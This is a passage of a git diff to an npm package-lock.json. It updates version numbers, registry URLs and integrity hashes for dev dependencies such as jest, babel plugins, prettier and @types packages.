"sha512-9fbDAXSBcc6Bs1mZrDYb3XKzDLm4EXXL9sC1LqKP5rZkT6KRr/rf9amVUcODVXgguK/isJz0d0hP72WeaKWsvA==", + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.5.0.tgz", + "integrity": "sha512-FM/zAKgWTxj40rH03VxzIPdXmj39SwSjwG0heUcNFwI+EMZJnY93yAiKXM3dObIKAM5TA88werc8T/EwhB45eg==", "dev": true, "bin": { "prettier": "bin-prettier.js" @@ -17113,12 +17191,12 @@ } }, "node_modules/pretty-format": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.3.1.tgz", - "integrity": "sha512-DR/c+pvFc52nLimLROYjnXPtolawm+uWDxr4FjuLDLUn+ktWnSN851KoHwHzzqq6rfCOjkzN8FLgDrSub6UDuA==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.4.2.tgz", + "integrity": "sha512-p0wNtJ9oLuvgOQDEIZ9zQjZffK7KtyR6Si0jnXULIDwrlNF8Cuir3AZP0hHv0jmKuNN/edOnbMjnzd4uTcmWiw==", "devOptional": true, "dependencies": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "ansi-regex": "^5.0.1", "ansi-styles": "^5.0.0", "react-is": "^17.0.1" @@ -21864,12 +21942,12 @@ } }, "node_modules/walker": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.7.tgz", - "integrity": "sha1-L3+bj9ENZ3JisYqITijRlhjgKPs=", + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", + "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", "dev": true, "dependencies": { - "makeerror": "1.0.x" + "makeerror": "1.0.12" } }, "node_modules/watchpack": { @@ -23290,9 +23368,9 @@ } }, "@babel/plugin-syntax-typescript": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.14.5.tgz", - "integrity": "sha512-u6OXzDaIXjEstBRRoBCQ/uKQKlbuaeE5in0RvWdA4pN6AhqxTIwUsnHPU1CFZA/amYObMsuWhYfRl3Ch90HD0Q==", + "version": "7.16.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.16.0.tgz", + "integrity": "sha512-Xv6mEXqVdaqCBfJFyeab0fH2DnUoMsDmhamxsSi4j8nLd4Vtw213WMJr55xxqipC/YVWyPY3K0blJncPYji+dQ==", "dev": true, "requires": { "@babel/helper-plugin-utils": "^7.14.5" @@ -23546,19 +23624,65 @@ } }, "@babel/plugin-transform-runtime": { - "version": "7.16.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.16.0.tgz", - "integrity": "sha512-zlPf1/XFn5+vWdve3AAhf+Sxl+MVa5VlwTwWgnLx23u4GlatSRQJ3Eoo9vllf0a9il3woQsT4SK+5Z7c06h8ag==", + "version": "7.16.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.16.4.tgz", + "integrity": "sha512-pru6+yHANMTukMtEZGC4fs7XPwg35v8sj5CIEmE+gEkFljFiVJxEWxx/7ZDkTK+iZRYo1bFXBtfIN95+K3cJ5A==", "dev": true, "requires": { "@babel/helper-module-imports": "^7.16.0", "@babel/helper-plugin-utils": "^7.14.5", - "babel-plugin-polyfill-corejs2": "^0.2.3", - "babel-plugin-polyfill-corejs3": "^0.3.0", - "babel-plugin-polyfill-regenerator": "^0.2.3", + "babel-plugin-polyfill-corejs2": "^0.3.0", + "babel-plugin-polyfill-corejs3": "^0.4.0", + "babel-plugin-polyfill-regenerator": "^0.3.0", "semver": "^6.3.0" }, "dependencies": { + "@babel/helper-define-polyfill-provider": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.0.tgz", + "integrity": "sha512-7hfT8lUljl/tM3h+izTX/pO3W3frz2ok6Pk+gzys8iJqDfZrZy2pXjRTZAvG2YmfHun1X4q8/UZRLatMfqc5Tg==", + "dev": true, + "requires": { + "@babel/helper-compilation-targets": "^7.13.0", + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/traverse": "^7.13.0", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + } + }, + "babel-plugin-polyfill-corejs2": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.0.tgz", + "integrity": "sha512-wMDoBJ6uG4u4PNFh72Ty6t3EgfA91puCuAwKIazbQlci+ENb/UU9A3xG5lutjUIiXCIn1CY5L15r9LimiJyrSA==", + "dev": true, + "requires": { + "@babel/compat-data": "^7.13.11", + "@babel/helper-define-polyfill-provider": "^0.3.0", + "semver": "^6.1.1" + } + }, + "babel-plugin-polyfill-corejs3": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.4.0.tgz", + "integrity": "sha512-YxFreYwUfglYKdLUGvIF2nJEsGwj+RhWSX/ije3D2vQPOXuyMLMtg/cCGMDpOA7Nd+MwlNdnGODbd2EwUZPlsw==", + "dev": true, + "requires": { + "@babel/helper-define-polyfill-provider": "^0.3.0", + "core-js-compat": "^3.18.0" + } + }, + "babel-plugin-polyfill-regenerator": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.3.0.tgz", + "integrity": "sha512-dhAPTDLGoMW5/84wkgwiLRwMnio2i1fUe53EuvtKMv0pn2p3S8OCoV1xAzfJPl0KOX7IB89s2ib85vbYiea3jg==", + "dev": true, + "requires": { + "@babel/helper-define-polyfill-provider": "^0.3.0" + } + }, "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", @@ -24091,16 +24215,16 @@ "dev": true }, "@jest/console": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/console/-/console-27.3.1.tgz", - "integrity": "sha512-RkFNWmv0iui+qsOr/29q9dyfKTTT5DCuP31kUwg7rmOKPT/ozLeGLKJKVIiOfbiKyleUZKIrHwhmiZWVe8IMdw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-27.4.2.tgz", + "integrity": "sha512-xknHThRsPB/To1FUbi6pCe43y58qFC03zfb6R7fDb/FfC7k2R3i1l+izRBJf8DI46KhYGRaF14Eo9A3qbBoixg==", "dev": true, "requires": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "@types/node": "*", "chalk": "^4.0.0", - "jest-message-util": "^27.3.1", - "jest-util": "^27.3.1", + "jest-message-util": "^27.4.2", + "jest-util": "^27.4.2", "slash": "^3.0.0" }, "dependencies": { @@ -24113,35 +24237,35 @@ } }, "@jest/core": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/core/-/core-27.3.1.tgz", - "integrity": "sha512-DMNE90RR5QKx0EA+wqe3/TNEwiRpOkhshKNxtLxd4rt3IZpCt+RSL+FoJsGeblRZmqdK4upHA/mKKGPPRAifhg==", + "version": "27.4.3", + "resolved": "https://registry.npmjs.org/@jest/core/-/core-27.4.3.tgz", + "integrity": "sha512-V9ms3zSxUHxh1E/ZLAiXF7SLejsdFnjWTFizWotMOWvjho0lW5kSjZymhQSodNW0T0ZMQRiha7f8+NcFVm3hJQ==", "dev": true, "requires": { - "@jest/console": "^27.3.1", - "@jest/reporters": "^27.3.1", - "@jest/test-result": "^27.3.1", - "@jest/transform": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/console": "^27.4.2", + "@jest/reporters": "^27.4.2", + "@jest/test-result": "^27.4.2", + "@jest/transform": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", "ansi-escapes": "^4.2.1", "chalk": "^4.0.0", "emittery": "^0.8.1", "exit": "^0.1.2", "graceful-fs": "^4.2.4", - "jest-changed-files": "^27.3.0", - "jest-config": "^27.3.1", - "jest-haste-map": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-regex-util": "^27.0.6", - "jest-resolve": "^27.3.1", - "jest-resolve-dependencies": "^27.3.1", - "jest-runner": "^27.3.1", - "jest-runtime": "^27.3.1", - "jest-snapshot": "^27.3.1", - "jest-util": "^27.3.1", - "jest-validate": "^27.3.1", - "jest-watcher": "^27.3.1", + "jest-changed-files": "^27.4.2", + "jest-config": "^27.4.3", + "jest-haste-map": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-regex-util": "^27.4.0", + "jest-resolve": "^27.4.2", + "jest-resolve-dependencies": "^27.4.2", + "jest-runner": "^27.4.3", + "jest-runtime": "^27.4.2", + "jest-snapshot": "^27.4.2", + "jest-util": "^27.4.2", + "jest-validate": "^27.4.2", + "jest-watcher": "^27.4.2", "micromatch": "^4.0.4", "rimraf": "^3.0.0", "slash": "^3.0.0", @@ -24166,53 +24290,53 @@ } }, "@jest/environment": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-27.3.1.tgz", - "integrity": "sha512-BCKCj4mOVLme6Tanoyc9k0ultp3pnmuyHw73UHRPeeZxirsU/7E3HC4le/VDb/SMzE1JcPnto+XBKFOcoiJzVw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-27.4.2.tgz", + "integrity": "sha512-uSljKxh/rGlHlmhyeG4ZoVK9hOec+EPBkwTHkHKQ2EqDu5K+MaG9uJZ8o1CbRsSdZqSuhXvJCYhBWsORPPg6qw==", "devOptional": true, "requires": { - "@jest/fake-timers": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/fake-timers": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", - "jest-mock": "^27.3.0" + "jest-mock": "^27.4.2" } }, "@jest/fake-timers": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-27.3.1.tgz", - "integrity": "sha512-M3ZFgwwlqJtWZ+QkBG5NmC23A9w+A6ZxNsO5nJxJsKYt4yguBd3i8TpjQz5NfCX91nEve1KqD9RA2Q+Q1uWqoA==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-27.4.2.tgz", + "integrity": "sha512-f/Xpzn5YQk5adtqBgvw1V6bF8Nx3hY0OIRRpCvWcfPl0EAjdqWPdhH3t/3XpiWZqtjIEHDyMKP9ajpva1l4Zmg==", "devOptional": true, "requires": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "@sinonjs/fake-timers": "^8.0.1", "@types/node": "*", - "jest-message-util": "^27.3.1", - "jest-mock": "^27.3.0", - "jest-util": "^27.3.1" + "jest-message-util": "^27.4.2", + "jest-mock": "^27.4.2", + "jest-util": "^27.4.2" } }, "@jest/globals": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-27.3.1.tgz", - "integrity": "sha512-Q651FWiWQAIFiN+zS51xqhdZ8g9b88nGCobC87argAxA7nMfNQq0Q0i9zTfQYgLa6qFXk2cGANEqfK051CZ8Pg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-27.4.2.tgz", + "integrity": "sha512-KkfaHEttlGpXYAQTZHgrESiEPx2q/DKAFLGLFda1uGVrqc17snd3YVPhOxlXOHIzVPs+lQ/SDB2EIvxyGzb3Ew==", "dev": true, "requires": { - "@jest/environment": "^27.3.1", - "@jest/types": "^27.2.5", - "expect": "^27.3.1" + "@jest/environment": "^27.4.2", + "@jest/types": "^27.4.2", + "expect": "^27.4.2" } }, "@jest/reporters": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-27.3.1.tgz", - "integrity": "sha512-m2YxPmL9Qn1emFVgZGEiMwDntDxRRQ2D58tiDQlwYTg5GvbFOKseYCcHtn0WsI8CG4vzPglo3nqbOiT8ySBT/w==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-27.4.2.tgz", + "integrity": "sha512-sp4aqmdBJtjKetEakzDPcZggPcVIF6w9QLkYBbaWDV6e/SIsHnF1S4KtIH91eEc2fp7ep6V/e1xvdfEoho1d2w==", "dev": true, "requires": { "@bcoe/v8-coverage": "^0.2.3", - "@jest/console": "^27.3.1", - "@jest/test-result": "^27.3.1", - "@jest/transform": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/console": "^27.4.2", + "@jest/test-result": "^27.4.2", + "@jest/transform": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", "chalk": "^4.0.0", "collect-v8-coverage": "^1.0.0", @@ -24224,10 +24348,10 @@ "istanbul-lib-report": "^3.0.0", "istanbul-lib-source-maps": "^4.0.0", "istanbul-reports": "^3.0.2", - "jest-haste-map": "^27.3.1", - "jest-resolve": "^27.3.1", - "jest-util": "^27.3.1", - "jest-worker": "^27.3.1", + "jest-haste-map": "^27.4.2", + "jest-resolve": "^27.4.2", + "jest-util": "^27.4.2", + "jest-worker": "^27.4.2", "slash": "^3.0.0", "source-map": "^0.6.0", "string-length": "^4.0.1", @@ -24250,9 +24374,9 @@ } }, "@jest/source-map": { - "version": "27.0.6", - "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-27.0.6.tgz", - "integrity": "sha512-Fek4mi5KQrqmlY07T23JRi0e7Z9bXTOOD86V/uS0EIW4PClvPDqZOyFlLpNJheS6QI0FNX1CgmPjtJ4EA/2M+g==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-27.4.0.tgz", + "integrity": "sha512-Ntjx9jzP26Bvhbm93z/AKcPRj/9wrkI88/gK60glXDx1q+IeI0rf7Lw2c89Ch6ofonB0On/iRDreQuQ6te9pgQ==", "dev": true, "requires": { "callsites": "^3.0.0", @@ -24269,45 +24393,45 @@ } }, "@jest/test-result": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-27.3.1.tgz", - "integrity": "sha512-mLn6Thm+w2yl0opM8J/QnPTqrfS4FoXsXF2WIWJb2O/GBSyResL71BRuMYbYRsGt7ELwS5JGcEcGb52BNrumgg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-27.4.2.tgz", + "integrity": "sha512-kr+bCrra9jfTgxHXHa2UwoQjxvQk3Am6QbpAiJ5x/50LW8llOYrxILkqY0lZRW/hu8FXesnudbql263+EW9iNA==", "dev": true, "requires": { - "@jest/console": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/console": "^27.4.2", + "@jest/types": "^27.4.2", "@types/istanbul-lib-coverage": "^2.0.0", "collect-v8-coverage": "^1.0.0" } }, "@jest/test-sequencer": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-27.3.1.tgz", - "integrity": "sha512-siySLo07IMEdSjA4fqEnxfIX8lB/lWYsBPwNFtkOvsFQvmBrL3yj3k3uFNZv/JDyApTakRpxbKLJ3CT8UGVCrA==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-27.4.2.tgz", + "integrity": "sha512-HmHp5mlh9f9GyNej5yCS1JZIFfUGnP9+jEOH5zoq5EmsuZeYD+dGULqyvGDPtuzzbyAFJ6R4+z4SS0VvnFwwGQ==", "dev": true, "requires": { - "@jest/test-result": "^27.3.1", + "@jest/test-result": "^27.4.2", "graceful-fs": "^4.2.4", - "jest-haste-map": "^27.3.1", - "jest-runtime": "^27.3.1" + "jest-haste-map": "^27.4.2", + "jest-runtime": "^27.4.2" } }, "@jest/transform": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-27.3.1.tgz", - "integrity": "sha512-3fSvQ02kuvjOI1C1ssqMVBKJpZf6nwoCiSu00zAKh5nrp3SptNtZy/8s5deayHnqxhjD9CWDJ+yqQwuQ0ZafXQ==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-27.4.2.tgz", + "integrity": "sha512-RTKcPZllfcmLfnlxBya7aypofhdz05+E6QITe55Ex0rxyerkgjmmpMlvVn11V0cP719Ps6WcDYCnDzxnnJUwKg==", "dev": true, "requires": { "@babel/core": "^7.1.0", - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "babel-plugin-istanbul": "^6.0.0", "chalk": "^4.0.0", "convert-source-map": "^1.4.0", "fast-json-stable-stringify": "^2.0.0", "graceful-fs": "^4.2.4", - "jest-haste-map": "^27.3.1", - "jest-regex-util": "^27.0.6", - "jest-util": "^27.3.1", + "jest-haste-map": "^27.4.2", + "jest-regex-util": "^27.4.0", + "jest-util": "^27.4.2", "micromatch": "^4.0.4", "pirates": "^4.0.1", "slash": "^3.0.0", @@ -24330,9 +24454,9 @@ } }, "@jest/types": { - "version": "27.2.5", - "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.2.5.tgz", - "integrity": "sha512-nmuM4VuDtCZcY+eTpw+0nvstwReMsjPoj7ZR80/BbixulhLaiX+fbv8oeLW8WZlJMcsGQsTmMKT/iTZu1Uy/lQ==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.4.2.tgz", + "integrity": "sha512-j35yw0PMTPpZsUoOBiuHzr1zTYoad1cVIE0ajEjcrJONxxrko/IRGKkXx3os0Nsi4Hu3+5VmDbVfq5WhG/pWAg==", "devOptional": true, "requires": { "@types/istanbul-lib-coverage": "^2.0.0", @@ -25119,9 +25243,9 @@ } }, "@sinonjs/fake-timers": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-8.0.1.tgz", - "integrity": "sha512-AU7kwFxreVd6OAXcAFlKSmZquiRUU0FvYm44k1Y1QbK7Co4m0aqfGMhjykIeQp/H6rcl+nFmj0zfdUcGVs9Dew==", + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz", + "integrity": "sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==", "devOptional": true, "requires": { "@sinonjs/commons": "^1.7.0" @@ -25504,9 +25628,9 @@ "integrity": "sha512-ARATsLdrGPUnaBvxLhUlnltcMgn7pQG312S8ccdYlnyijabrX9RN/KN/iGj9Am96CoW8e/K9628BA7Bv4XHdrA==" }, "@types/prettier": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.4.1.tgz", - "integrity": "sha512-Fo79ojj3vdEZOHg3wR9ksAMRz4P3S5fDB5e/YWZiFnyFQI1WY2Vftu9XoXVVtJfxB7Bpce/QTqWSSntkz2Znrw==", + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.4.2.tgz", + "integrity": "sha512-ekoj4qOQYp7CvjX8ZDBgN86w3MqQhLE1hczEJbEIjgFEumDy+na/4AJAbLXfgEWFNB2pKadM5rPFtuSGMWK7xA==", "dev": true }, "@types/prop-types": { @@ -25598,9 +25722,9 @@ "integrity": "sha512-PBjIUxZHOuj0R15/xuwJYjFi+KZdNFrehocChv4g5hu6aFroHue8m0lBP0POdK2nKzbw0cgV1mws8+V/JAcEkQ==" }, "@types/uuid": { - "version": "8.3.1", - "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-8.3.1.tgz", - "integrity": "sha512-Y2mHTRAbqfFkpjldbkHGY8JIzRN6XqYRliG8/24FcHm2D2PwW24fl5xMRTVGdrb7iMrwCaIEbLWerGIkXuFWVg==", + "version": "8.3.3", + "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-8.3.3.tgz", + "integrity": "sha512-0LbEEx1zxrYB3pgpd1M5lEhLcXjKJnYghvhTRgaBeUivLHMDM1TzF3IJ6hXU2+8uA4Xz+5BA63mtZo5DjVT8iA==", "dev": true }, "@types/yargs": { @@ -26456,16 +26580,16 @@ } }, "babel-jest": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-27.3.1.tgz", - "integrity": "sha512-SjIF8hh/ir0peae2D6S6ZKRhUy7q/DnpH7k/V6fT4Bgs/LXXUztOpX4G2tCgq8mLo5HA9mN6NmlFMeYtKmIsTQ==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-27.4.2.tgz", + "integrity": "sha512-MADrjb3KBO2eyZCAc6QaJg6RT5u+6oEdDyHO5HEalnpwQ6LrhTsQF2Kj1Wnz2t6UPXIXPk18dSXXOT0wF5yTxA==", "dev": true, "requires": { - "@jest/transform": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/transform": "^27.4.2", + "@jest/types": "^27.4.2", "@types/babel__core": "^7.1.14", "babel-plugin-istanbul": "^6.0.0", - "babel-preset-jest": "^27.2.0", + "babel-preset-jest": "^27.4.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.4", "slash": "^3.0.0" @@ -26532,15 +26656,15 @@ }, "dependencies": { "istanbul-lib-instrument": { - "version": "5.0.4", - "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.0.4.tgz", - "integrity": "sha512-W6jJF9rLGEISGoCyXRqa/JCGQGmmxPO10TMu7izaUTynxvBvTjqzAIIGCK9USBmIbQAaSWD6XJPrM9Pv5INknw==", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.1.0.tgz", + "integrity": "sha512-czwUz525rkOFDJxfKK6mYfIs9zBKILyrZQxjz3ABhjQXhbhFsSbo1HW/BFcsDnfJYJWA6thRR5/TUY2qs5W99Q==", "dev": true, "requires": { "@babel/core": "^7.12.3", "@babel/parser": "^7.14.7", "@istanbuljs/schema": "^0.1.2", - "istanbul-lib-coverage": "^3.0.0", + "istanbul-lib-coverage": "^3.2.0", "semver": "^6.3.0" } }, @@ -26553,9 +26677,9 @@ } }, "babel-plugin-jest-hoist": { - "version": "27.2.0", - "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.2.0.tgz", - "integrity": "sha512-TOux9khNKdi64mW+0OIhcmbAn75tTlzKhxmiNXevQaPbrBYK7YKjP1jl6NHTJ6XR5UgUrJbCnWlKVnJn29dfjw==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.4.0.tgz", + "integrity": "sha512-Jcu7qS4OX5kTWBc45Hz7BMmgXuJqRnhatqpUhnzGC3OBYpOmf2tv6jFNwZpwM7wU7MUuv2r9IPS/ZlYOuburVw==", "dev": true, "requires": { "@babel/template": "^7.3.3", @@ -26603,12 +26727,12 @@ } }, "babel-plugin-styled-components": { - "version": "1.13.3", - "resolved": "https://registry.npmjs.org/babel-plugin-styled-components/-/babel-plugin-styled-components-1.13.3.tgz", - "integrity": "sha512-meGStRGv+VuKA/q0/jXxrPNWEm4LPfYIqxooDTdmh8kFsP/Ph7jJG5rUPwUPX3QHUvggwdbgdGpo88P/rRYsVw==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/babel-plugin-styled-components/-/babel-plugin-styled-components-2.0.2.tgz", + "integrity": "sha512-7eG5NE8rChnNTDxa6LQfynwgHTVOYYaHJbUYSlOhk8QBXIQiMBKq4gyfHBBKPrxUcVBXVJL61ihduCpCQbuNbw==", "requires": { - "@babel/helper-annotate-as-pure": "^7.15.4", - "@babel/helper-module-imports": "^7.15.4", + "@babel/helper-annotate-as-pure": "^7.16.0", + "@babel/helper-module-imports": "^7.16.0", "babel-plugin-syntax-jsx": "^6.18.0", "lodash": "^4.17.11" } @@ -27035,12 +27159,12 @@ } }, "babel-preset-jest": { - "version": "27.2.0", - "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-27.2.0.tgz", - "integrity": "sha512-z7MgQ3peBwN5L5aCqBKnF6iqdlvZvFUQynEhu0J+X9nHLU72jO3iY331lcYrg+AssJ8q7xsv5/3AICzVmJ/wvg==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-27.4.0.tgz", + "integrity": "sha512-NK4jGYpnBvNxcGo7/ZpZJr51jCGT+3bwwpVIDY2oNfTxJJldRtB4VAcYdgp1loDE50ODuTu+yBjpMAswv5tlpg==", "dev": true, "requires": { - "babel-plugin-jest-hoist": "^27.2.0", + "babel-plugin-jest-hoist": "^27.4.0", "babel-preset-current-node-syntax": "^1.0.0" } }, @@ -28602,9 +28726,9 @@ "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==" }, "diff-sequences": { - "version": "27.0.6", - "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.0.6.tgz", - "integrity": "sha512-ag6wfpBFyNXZ0p8pcuIDS//D8H062ZQJ3fzYxjpmeKjnz8W4pekL3AI8VohmyZmsWW2PWaHgjsmqR6L13101VQ==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.4.0.tgz", + "integrity": "sha512-YqiQzkrsmHMH5uuh8OdQFU9/ZpADnwzml8z0O5HvRNda+5UZsaX/xN+AAxfR2hWq1Y7HZnAzO9J5lJXOuDz2Ww==", "dev": true }, "diffie-hellman": { @@ -29061,9 +29185,9 @@ }, "dependencies": { "estraverse": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", - "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", "dev": true }, "levn": { @@ -29096,6 +29220,13 @@ "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", "dev": true }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "optional": true + }, "type-check": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", @@ -29610,17 +29741,17 @@ } }, "expect": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/expect/-/expect-27.3.1.tgz", - "integrity": "sha512-MrNXV2sL9iDRebWPGOGFdPQRl2eDQNu/uhxIMShjjx74T6kC6jFIkmQ6OqXDtevjGUkyB2IT56RzDBqXf/QPCg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/expect/-/expect-27.4.2.tgz", + "integrity": "sha512-BjAXIDC6ZOW+WBFNg96J22D27Nq5ohn+oGcuP2rtOtcjuxNoV9McpQ60PcQWhdFOSBIQdR72e+4HdnbZTFSTyg==", "dev": true, "requires": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "ansi-styles": "^5.0.0", - "jest-get-type": "^27.3.1", - "jest-matcher-utils": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-regex-util": "^27.0.6" + "jest-get-type": "^27.4.0", + "jest-matcher-utils": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-regex-util": "^27.4.0" }, "dependencies": { "ansi-styles": { @@ -31644,9 +31775,9 @@ } }, "istanbul-reports": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.0.5.tgz", - "integrity": "sha512-5+19PlhnGabNWB7kOFnuxT8H3T/iIyQzIbQMxXsURmmvKg86P2sbkrGOT77VnHw0Qr0gc2XzRaRfMZYYbSQCJQ==", + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.1.tgz", + "integrity": "sha512-q1kvhAXWSsXfMjCdNHNPKZZv94OlspKnoGv+R9RGbnqOOQ0VbNfLFgQDVgi7hHenKsndGq3/o0OBdzDXthWcNw==", "dev": true, "requires": { "html-escaper": "^2.0.0", @@ -31666,49 +31797,49 @@ "dev": true }, "jest": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest/-/jest-27.3.1.tgz", - "integrity": "sha512-U2AX0AgQGd5EzMsiZpYt8HyZ+nSVIh5ujQ9CPp9EQZJMjXIiSZpJNweZl0swatKRoqHWgGKM3zaSwm4Zaz87ng==", + "version": "27.4.3", + "resolved": "https://registry.npmjs.org/jest/-/jest-27.4.3.tgz", + "integrity": "sha512-jwsfVABBzuN3Atm+6h6vIEpTs9+VApODLt4dk2qv1WMOpb1weI1IIZfuwpMiWZ62qvWj78MvdvMHIYdUfqrFaA==", "dev": true, "requires": { - "@jest/core": "^27.3.1", + "@jest/core": "^27.4.3", "import-local": "^3.0.2", - "jest-cli": "^27.3.1" + "jest-cli": "^27.4.3" } }, 